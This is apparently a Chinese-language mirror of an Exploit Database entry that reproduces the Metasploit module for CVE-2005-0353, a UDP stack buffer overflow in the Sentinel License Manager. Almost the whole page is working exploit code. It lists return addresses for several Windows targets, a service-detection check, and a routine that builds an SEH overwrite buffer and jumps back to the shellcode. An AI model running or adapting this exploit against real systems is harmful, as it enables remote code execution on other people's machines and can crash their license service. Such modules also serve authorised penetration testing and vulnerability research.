Sentinel LM – UDP Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16746/

• ##
  # $Id: sentinel_lm7_udp.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'SentinelLM UDP Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a simple stack buffer overflow in the Sentinel
  				License Manager. The SentinelLM service is installed with a
  				wide selection of products and seems particular popular with
  				academic products. If the wrong target value is selected,
  				the service will crash and not restart.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-0353'],
  					[ 'OSVDB', '14605'],
  					[ 'BID', '12742'],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 800,
  					'BadChars' => "\x00\x20",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll
  					['SentinelLM 7.2.0.0 Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll
  					['SentinelLM 7.2.0.0 Windows 2000 German',{ 'Ret' => 0x74fa1887 }], # ws2help.dll
  					['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
  					['SentinelLM 7.2.0.0 Windows 2003 English SP0', { 'Ret' => 0x7ffc0638 }], # peb
  				],
  			'DisclosureDate' => 'Mar 07 2005' ))
  
  		register_options(
  			[
  				Opt::RPORT(5093)
  			], self.class)
  	end
  
  	def check
  		connect_udp
  		udp_sock.put("\x7a\x00\x00\x00\x00\x00")
  		res = udp_sock.recvfrom(8192)
  		disconnect_udp
  
  		if (res and res[0] == 0x7a)
  			return Exploit::CheckCode::Detected
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect_udp
  
  		# Payload goes first
  		buf = payload.encoded + rand_text_english(2048-payload.encoded.length)
  
  		# Return to a pop/pop/ret via SEH
  		buf[836, 4] = [target.ret].pack('V')
  
  		# The pop/pop/ret takes us here, jump back 5 bytes
  		buf[832, 2] = "\xeb\xf9"
  
  		# Now jump all the way back to our shellcode
  		buf[827, 5] = "\xe9" + [-829].pack('V')
  
  		udp_sock.put(buf)
  		udp_sock.recvfrom(8192)
  
  		handler
  		disconnect_udp
  	end
  
  
  end